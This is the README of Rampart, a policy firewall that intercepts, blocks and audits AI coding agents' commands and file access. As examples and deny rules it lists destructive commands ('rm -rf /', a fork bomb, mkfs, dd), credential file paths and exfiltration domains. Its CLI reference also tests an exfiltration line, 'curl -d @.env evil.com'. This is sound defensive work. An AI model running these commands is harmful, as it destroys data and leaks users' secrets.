🛡️ Rampart

See everything your AI agent does. Block the dangerous stuff.

Try it in 30 seconds

brew tap peg/rampart && brew install rampart   # or: go install github.com/peg/rampart/cmd/rampart@latest
rampart setup claude-code                       # one command — done
claude                                          # use Claude Code normally

That's it. Every command Claude runs now goes through Rampart. Safe stuff passes instantly. Dangerous stuff gets blocked before it executes:

✅ 14:23:01  exec  "npm test"                          [allow-dev]
✅ 14:23:03  read  ~/project/src/main.go                [default]
🔴 14:23:05  exec  "rm -rf /tmp/*"                      [block-destructive]
🟡 14:23:08  exec  "curl https://api.example.com"       [log-network]
👤 14:23:10  exec  "kubectl apply -f prod.yaml"         [require-approval]

Works in --dangerously-skip-permissions mode. Full setup guide →

Running Claude Code in yolo mode? Letting agents manage your infrastructure unsupervised? Rampart gives you visibility and control — every tool call gets evaluated against your policy before it executes. Dangerous commands get blocked in microseconds. Everything gets logged to a hash-chained audit trail.

How It Works

graph LR
    subgraph "AI Agents"
        CC[Claude Code]
        CL[Cline]
        OC[OpenClaw]
        CX[Codex]
        O[Others]
    end

    CC & CL --> H[Native Hooks]
    OC --> S[Shell Shim]
    CX --> P[LD_PRELOAD]
    O --> M[MCP Proxy]

    H & S & P & M --> PE[YAML Policy Eval<br/>~20μs]

    PE --> AU[📋 Hash-Chained Audit<br/>Syslog · CEF · Webhooks]

    AU --> PASS[✅ Execute]
    AU --> BLOCK[❌ Blocked]
    AU --> APR[👤 Approval]

    PE -. "ambiguous ⚠️" .-> SB["⚡ rampart-verify<br/>(optional sidecar)<br/>gpt-4o-mini · Haiku · Ollama"]
    SB -. allow/deny .-> PE

    style PE fill:#238636,stroke:#fff,color:#fff
    style AU fill:#1f6feb,stroke:#fff,color:#fff
    style BLOCK fill:#da3633,stroke:#fff,color:#fff
    style APR fill:#d29922,stroke:#fff,color:#fff
    style PASS fill:#238636,stroke:#fff,color:#fff
    style SB fill:#2d333b,stroke:#f0883e,stroke-width:2px,stroke-dasharray: 5 5

Pattern matching handles 95%+ of decisions in microseconds. The optional rampart-verify sidecar adds LLM-based classification for ambiguous commands. All decisions are written to a hash-chained audit trail.

Agent	Setup	Integration
Claude Code	`rampart setup claude-code`	Native `PreToolUse` hooks — works in `--dangerously-skip-permissions` mode
OpenClaw	`rampart setup openclaw`	Shell shim with human-in-the-loop approval flow. Add `--patch-tools` for file read/write coverage
Cline	`rampart setup cline`	Native hooks via settings
Cursor	`rampart setup cursor`	MCP proxy configuration
Any agent	`rampart wrap -- <agent>`	Shell wrapping via `$SHELL`
MCP servers	`rampart mcp -- <server>`	MCP protocol proxy
System-wide	`rampart preload -- <cmd>`	LD_PRELOAD syscall interception

📖 Table of Contents

Getting Started: Install · Claude Code · Wrap Any Agent · Quick Start

Core Features: Writing Policies · Approval Flow · Audit Trail · Live Dashboard · Webhook Notifications

Advanced: LD_PRELOAD · MCP Proxy · SIEM Integration · Webhook Actions · Preflight API

Reference: Performance · Security · CLI Reference · Compatibility · Building from Source · Contributing · Roadmap

Install

# Homebrew (macOS and Linux)
brew tap peg/rampart && brew install rampart

# Go install (requires Go 1.24+)
go install github.com/peg/rampart/cmd/rampart@latest

# Or download a binary from GitHub Releases
# https://github.com/peg/rampart/releases

Note: Make sure rampart is in your PATH. For go install, add $(go env GOPATH)/bin to your shell profile, or symlink: sudo ln -sf $(go env GOPATH)/bin/rampart /usr/local/bin/rampart

Claude Code Integration

Native integration through Claude Code's hook system. One command, no wrapper needed:

rampart setup claude-code

That's it. Every Bash command, file read, and file write goes through Rampart's policy engine before execution. Blocked commands never run.

Then just use Claude Code normally:

claude

Rampart evaluates every tool call in microseconds. Safe commands pass through transparently. Dangerous commands get blocked before the agent can execute them.

See what's happening in real time:

rampart watch

Wrap Any Agent

For agents without a hook system, wrap sets $SHELL to a policy-checking shim. Works with any agent that reads the $SHELL environment variable (Aider, OpenCode, Continue, Cline, and more):

rampart wrap -- aider
rampart wrap -- opencode
rampart wrap -- python my_agent.py

Protect Any Process (LD_PRELOAD)

For agents with no hook system and no $SHELL support, preload intercepts exec-family syscalls at the OS level. This is the universal fallback — it works with any dynamically-linked process:

# Protect Codex CLI (no hooks, no $SHELL — preload is the only way)
rampart preload -- codex

# Protect any Python agent
rampart preload -- python my_agent.py

# Protect any Node.js agent
rampart preload -- node agent.js

# Monitor mode (log only, don't block)
rampart preload --mode monitor -- risky-tool

Preload intercepts execve, execvp, system(), popen(), and posix_spawn() — every way a process can spawn a command. Each call gets evaluated against your policy before executing. Denied calls return EPERM.

Requires: librampart.so (Linux) or librampart.dylib (macOS) installed to ~/.rampart/lib/. Build from preload/ or download from releases.

Platform notes:

Linux: Works with all dynamically-linked binaries (~95% coverage)
macOS: Works with Homebrew, nvm, pyenv, cargo binaries. Blocked by SIP for /usr/bin/* (but AI agents don't live there)

See preload/README.md for build instructions and details.

Protect MCP Servers

Drop-in proxy between your agent and any MCP server. Evaluates every tools/call against your policies:

# Instead of connecting directly to an MCP server:
rampart mcp -- npx @modelcontextprotocol/server-filesystem /path

In your MCP config (Claude Code, Cursor, etc.):

{
  "mcpServers": {
    "filesystem": {
      "command": "rampart",
      "args": ["mcp", "--", "npx", "@modelcontextprotocol/server-filesystem", "."]
    }
  }
}

Denied tool calls return a JSON-RPC error — the MCP server never sees them. Safe calls pass through transparently. Tools with destructive keywords (delete, destroy, remove) are blocked out of the box.

Auto-Generate Policies from MCP Servers

Don't write policies from scratch — scan an MCP server's tool list and generate a deny-by-default policy:

rampart mcp scan -- npx @modelcontextprotocol/server-filesystem .

Review, customize, deploy. Each tool becomes an explicit rule you can allow or deny.

# Dry run — log everything, block nothing
rampart wrap --mode monitor -- your-agent

# Custom policy file
rampart wrap --config my-policy.yaml -- your-agent

Quick Start

# Set up Claude Code integration (one command)
rampart setup claude-code

# Or wrap any agent
rampart wrap -- aider

# Or start the HTTP proxy
rampart serve

# Test the policy engine directly
echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf /"}}' | rampart hook
# → {"hookSpecificOutput":{"permissionDecision":"deny","permissionDecisionReason":"Rampart: Destructive command blocked"}}

Three built-in profiles:

Profile	Default	Use case
`standard`	allow	Block dangerous, log suspicious, allow the rest
`paranoid`	deny	Explicit allowlist for everything
`yolo`	allow	Log-only, no blocking

Writing Policies

Policies are YAML. Glob matching, hot-reload on file change.

version: "1"
default_action: allow

policies:
  - name: block-destructive
    match:
      tool: ["exec"]
    rules:
      - action: deny
        when:
          command_matches: ["rm -rf *", "mkfs.*", "dd if=*", ":(){ :|:& };:"]
        message: "Destructive command blocked"

  - name: block-credential-reads
    priority: 1
    match:
      tool: ["read"]
    rules:
      - action: deny
        when:
          path_matches: ["**/.ssh/id_*", "**/.aws/credentials", "**/.env"]
        message: "Credential access blocked"

  - name: block-exfil
    match:
      tool: ["fetch"]
    rules:
      - action: deny
        when:
          domain_matches: ["*.ngrok-free.app", "*.requestbin.com", "webhook.site"]
        message: "Exfiltration domain blocked"

Evaluation: Deny always wins. Lower priority number = evaluated first. Four actions: deny, require_approval, log, allow.

Approval Flow

For the grey area — commands that need a human to decide:

policies:
  - name: production-deploys
    match:
      tool: ["exec"]
    rules:
      - action: require_approval
        when:
          command_matches: ["kubectl apply *", "terraform apply *"]
        message: "Production deployment requires approval"

How approval reaches you depends on your environment:

graph LR
    PE[Policy Engine] -->|require_approval| D{Environment}
    D -->|Claude Code| CC["Native prompt<br/>(ask hook)"]
    D -->|MCP Client| MCP["Block & wait<br/>(proxy holds request)"]
    D -->|OpenClaw| OC["Chat message<br/>(approve in-chat)"]
    D -->|Webhook| WH["Signed URL<br/>(click to approve)"]
    D -->|CLI / API| CLI["rampart approve &lt;id&gt;"]

    CC -->|user responds| R[✅ Resolved]
    MCP -->|via API / dashboard| R
    OC -->|via API| R
    WH -->|HMAC-verified link| R
    CLI -->|direct| R

    style D fill:#d29922,stroke:#fff,color:#fff
    style R fill:#238636,stroke:#fff,color:#fff

rampart pending                          # What's waiting
rampart approve abc123                   # Let it through
rampart deny abc123 --reason "not now"   # Block it

Preflight API

Check if a call would be allowed without executing it:

curl -s localhost:9090/v1/preflight/exec \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"agent":"a","session":"s","params":{"command":"rm -rf /"}}'
# → {"allowed":false,"decision":"deny","matched_policies":["block-destructive"]}

No side effects. For agents that plan before acting.

Audit Trail

Every tool call is logged to hash-chained JSONL. Each entry includes a SHA-256 hash of the previous entry — tamper with any record and the chain breaks.

rampart audit tail --follow     # Stream events
rampart audit verify            # Check chain integrity
rampart audit stats             # Decision breakdown
rampart audit search            # Query by tool, agent, decision, time range

Why hash-chained: in regulated environments, you need to prove what your agent did. A hash chain means no one can edit history without detection.

Live Dashboard

rampart watch

╔══════════════════════════════════════════════════════════════╗
║  RAMPART — enforce — 3 policies                             ║
╠══════════════════════════════════════════════════════════════╣
║  ✅ 21:03:42 exec  "git push origin main"     [allow-git]   ║
║  ✅ 21:03:41 read  ~/project/src/main.go      [default]     ║
║  🔴 21:03:38 exec  "rm -rf /tmp/*"            [protect-sys] ║
║  ✅ 21:03:35 exec  "npm test"                 [allow-dev]   ║
║  🟡 21:03:33 exec  "curl https://api.io"      [log-http]    ║
╠══════════════════════════════════════════════════════════════╣
║  1,247 total │ 1,201 allow │ 12 deny │ 34 log               ║
╚══════════════════════════════════════════════════════════════╝

Webhook Notifications

Get real-time alerts when Rampart blocks something. Add a notify section to your policy file:

version: "1"
default_action: allow

notify:
  url: "https://discord.com/api/webhooks/your/webhook"
  # Or Slack: "https://hooks.slack.com/services/your/webhook"
  on: ["deny"]  # Only notify on denied commands (options: deny, log)

policies:
  # ... your policies

Rampart sends a JSON payload to your webhook URL whenever a matching event occurs:

{
  "timestamp": "2026-02-11T21:03:38Z",
  "decision": "deny",
  "tool": "exec",
  "command": "rm -rf /tmp/*",
  "policy": "protect-sys",
  "message": "Destructive command blocked",
  "agent": "claude-code",
  "session": "abc123"
}

Works with Discord webhooks, Slack incoming webhooks, or any HTTP endpoint that accepts POST requests.

SIEM Integration

Send audit events to your existing security stack. Three output formats, works with any SIEM:

# RFC 5424 syslog (Wazuh, QRadar, ArcSight, LogRhythm, Sentinel)
rampart serve --syslog localhost:514

# Common Event Format (Splunk, QRadar, ArcSight, Exabeam)
rampart serve --syslog localhost:514 --cef

# CEF to file (when you don't have a syslog collector)
rampart serve --cef

All three outputs run alongside the default JSONL audit trail — you don't lose anything by enabling SIEM output.

Wazuh users: See docs/guides/wazuh-integration.md for a complete setup guide with custom decoder, alerting rules, and FIM recommendations for AI agent hosts.

Webhook Actions

Delegate allow/deny decisions to an external service — LLM-based intent verification, Slack approval bots, custom logic:

rules:
  - action: webhook
    when:
      command_matches: ['*production*']
    webhook:
      url: 'http://localhost:8090/verify'
      timeout: 5s
      fail_open: true

The webhook receives the full tool call context and returns {"decision": "allow"} or {"decision": "deny", "reason": "..."}. Fail-open by default so a down webhook doesn't break your agent.

Reference implementation: See rampart-verify — an optional sidecar that uses LLMs (gpt-4o-mini, Claude Haiku, or local Ollama) to classify ambiguous commands. Pattern matching handles 95% of decisions for free; the sidecar reviews the rest at ~$0.0001/call.

Integration

HTTP Proxy

Anything that can make HTTP requests works with Rampart. Point your agent's tool calls at the proxy:

Method	Endpoint	Purpose
`POST`	`/v1/tool/{toolName}`	Evaluate and execute
`POST`	`/v1/preflight/{toolName}`	Dry-run check
`GET`	`/v1/approvals`	Pending approvals
`POST`	`/v1/approvals/{id}/resolve`	Approve or deny
`GET`	`/healthz`	Health check

Framework Examples

# Python (LangChain, CrewAI, any framework)
response = requests.post("http://localhost:9090/v1/tool/exec",
    headers={"Authorization": f"Bearer {token}"},
    json={"agent": "my-agent", "session": "s1", "params": {"command": cmd}})

if response.json()["decision"] == "deny":
    return f"Blocked: {response.json()['message']}"

OpenClaw

For OpenClaw users — one command sets up a shell shim and background service:

rampart setup openclaw

This covers all exec tool calls. For full file tool coverage (Read, Write, Edit), run:

rampart setup openclaw --patch-tools

This patches OpenClaw's Read, Write, Edit, and Grep tools to check Rampart before file operations. Requires write access to the OpenClaw installation directory (typically needs sudo for global npm installs).

Supports OpenClaw 2026.1.30 – 2026.2.12 (latest).

⚠️ Re-run after OpenClaw upgrades — the patch modifies files in node_modules that get replaced on update. Between upgrade and re-patch, file tools bypass Rampart (exec shim remains active).

Works on Linux (systemd) and macOS (launchd).

Performance

Policy evaluation in single-digit microseconds:

Command	Decision	Time
`rm -rf /`	deny	8µs
`sudo reboot`	log	6µs
`.ssh/id_rsa` read	deny	3µs
`git status`	allow	4µs
`curl ngrok.io`	deny	3µs

The proxy adds negligible latency. Agents wait seconds for LLM responses — a few microseconds of policy evaluation is invisible.

Security Recommendations

Don't run your AI agent as root. If the agent runs as root, no user separation can protect policy files or audit logs — root can read everything. Run your agent framework (OpenClaw, Claude Code, etc.) as an unprivileged user.

Run rampart serve as a separate user. If Rampart runs as the same user as your AI agent, the agent can read audit logs and modify policy files. A dedicated rampart user prevents this:

# Create a service account
sudo useradd -r -s /usr/sbin/nologin rampart

# Move config and audit to the new user
sudo mkdir -p /etc/rampart /var/lib/rampart/audit
sudo cp ~/.rampart/policies/*.yaml /etc/rampart/
sudo chown -R rampart:rampart /etc/rampart /var/lib/rampart
sudo chmod 700 /etc/rampart /var/lib/rampart/audit

# Run serve as the rampart user
# (update your systemd service with User=rampart)
rampart serve --config /etc/rampart/standard.yaml --audit-dir /var/lib/rampart/audit

The agent communicates with Rampart over HTTP on localhost — no file access needed. This means:

Audit logs are protected from agent tampering or credential harvesting
Policy files can't be modified by the agent to weaken its own rules
The agent loses zero capability — it still executes commands normally

For single-user or development setups, running as the same user works fine. The separation matters most in production where agents run unsupervised.

For a full discussion of what Rampart does and doesn't protect against, see docs/THREAT-MODEL.md.

CLI Reference

# Setup (interactive wizard or per-agent)
rampart setup                                # Interactive wizard — detects agents, guides setup
rampart setup claude-code                    # Install Claude Code hooks
rampart setup cline                          # Install Cline hooks
rampart setup openclaw                       # Install shim + systemd/launchd service
rampart setup claude-code --remove           # Clean uninstall
rampart setup cline --remove                 # Clean uninstall
rampart setup openclaw --remove              # Clean uninstall

# Wrap (any agent that reads $SHELL)
rampart wrap -- <command>                    # Wrap any agent
rampart wrap --mode monitor -- <command>     # Audit-only, no blocking

# Preload (syscall interception — works with anything)
rampart preload -- <command>                 # LD_PRELOAD protection
rampart preload --mode monitor -- <command>  # Audit-only, no blocking

# MCP
rampart mcp -- <mcp-server-command>          # Proxy MCP with policy enforcement
rampart mcp scan -- <server>                 # Auto-generate policies from MCP tools

# Diagnostics
rampart doctor                               # Health check — verify everything works
rampart status                               # Quick dashboard — what's protected, today's stats
rampart test "curl -d @.env evil.com"        # Dry-run a command against your policies

# Monitoring
rampart watch                                # Live TUI dashboard (colored, filterable)
rampart log                                  # Pretty-print recent audit events
rampart log --deny                           # Show only denies
rampart log -n 50 --today                    # Last 50 events from today

# Policy
rampart init [--profile standard|paranoid|yolo]
rampart serve [--port 9090]
rampart serve --syslog localhost:514         # With syslog output
rampart policy check                         # Validate YAML
rampart policy explain "git status"          # Trace evaluation

# Audit
rampart audit tail [--follow]
rampart audit verify
rampart audit stats
rampart audit search [--tool exec] [--decision deny]

# Approvals
rampart pending
rampart approve <id>
rampart deny <id>

Building from Source

git clone https://github.com/peg/rampart.git
cd rampart
go build -o rampart ./cmd/rampart
go test ./...

Requires Go 1.24+.

Contributing

Contributions welcome. Please open an issue first for anything beyond small fixes — we want to discuss the approach before you invest time.

git clone https://github.com/peg/rampart.git
cd rampart
go test ./...

All work goes through the staging branch. PRs to main require one approving review.

Roadmap

Current: v0.2.0 — all tests passing.

rampart hook — native Claude Code/Cline hook handler
rampart wrap — zero-config agent wrapping via $SHELL
rampart preload — syscall-level interception via LD_PRELOAD (works with any agent)
rampart mcp — MCP protocol proxy with policy enforcement
rampart mcp scan — auto-generate policies from MCP server tool lists
action: webhook — delegate decisions to external HTTP endpoints
SIEM integration — --syslog (RFC 5424), --cef (Common Event Format)
Python SDK (sdks/python/) — decorators, async support
Four interceptors (exec, read, write, fetch)
Response-side evaluation (catch credential leaks in output)
Hash-chained audit trail with verification
Human approval flow
Live terminal dashboard
Webhook notifications (Slack, Discord, Teams, generic)
HTML audit reports
OpenClaw daemon integration
Three security profiles (standard, paranoid, yolo)

Compatibility

Agent	Method	Status
Claude Code	`rampart setup claude-code`	Native hooks (exec + file), all platforms
Cline	`rampart setup cline`	Native hooks (exec + file), all platforms
OpenClaw	`rampart setup openclaw [--patch-tools]`	Exec shim + optional file tool patch, Linux/macOS
Codex CLI	`rampart preload`	LD_PRELOAD, Linux + macOS
Claude Desktop	`rampart mcp`	MCP server proxying, all platforms
Aider	`rampart wrap`	Linux, macOS
OpenCode	`rampart wrap`	Linux, macOS
Continue	`rampart wrap`	Linux, macOS
Cursor	`rampart wrap` + `rampart mcp`	Linux, macOS
Windsurf	`rampart wrap`	Linux, macOS
Python agents	`rampart preload` or HTTP API	Linux, macOS
Node.js agents	`rampart preload` or HTTP API	Linux, macOS
Any MCP server	`rampart mcp`	All platforms
Any process	`rampart preload`	Linux, macOS
Custom agents	`rampart serve`	All platforms

rampart hook, rampart mcp, rampart mcp scan, and rampart serve work on Linux, macOS, and Windows. rampart wrap and rampart preload require Linux or macOS. --syslog requires Linux or macOS. --cef works on all platforms.

See docs/ROADMAP.md for what's coming next. Priorities shift based on feedback — open an issue if something matters to you.

License

Apache 2.0

Name		Name	Last commit message	Last commit date
Latest commit History 130 Commits
.github		.github
cmd/rampart		cmd/rampart
configs/examples		configs/examples
contrib		contrib
docs-site		docs-site
docs		docs
hooks		hooks
integrations/openclaw		integrations/openclaw
internal		internal
pkg/sdk		pkg/sdk
policies		policies
preload		preload
scripts		scripts
sdks/python		sdks/python
.gitignore		.gitignore
.golangci.yml		.golangci.yml
.goreleaser.yaml		.goreleaser.yaml
.goreleaser.yml		.goreleaser.yml
CHANGELOG.md		CHANGELOG.md
CONTRIBUTING.md		CONTRIBUTING.md
LICENSE		LICENSE
Makefile		Makefile
NOTICE		NOTICE
README.md		README.md
SECURITY.md		SECURITY.md
go.mod		go.mod
go.sum		go.sum
install.sh		install.sh
mkdocs.yml		mkdocs.yml

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🛡️ Rampart

Try it in 30 seconds

How It Works

Install

Claude Code Integration

Wrap Any Agent

Protect Any Process (LD_PRELOAD)

Protect MCP Servers

Auto-Generate Policies from MCP Servers

Quick Start

Writing Policies

Approval Flow

Preflight API

Audit Trail

Live Dashboard

Webhook Notifications

SIEM Integration

Webhook Actions

Integration

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Framework Examples

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🛡️ Rampart

Try it in 30 seconds

How It Works

Install

Claude Code Integration

Wrap Any Agent

Protect Any Process (LD_PRELOAD)

Protect MCP Servers

Auto-Generate Policies from MCP Servers

Quick Start

Writing Policies

Approval Flow

Preflight API

Audit Trail

Live Dashboard

Webhook Notifications

SIEM Integration

Webhook Actions

Integration

HTTP Proxy

Framework Examples

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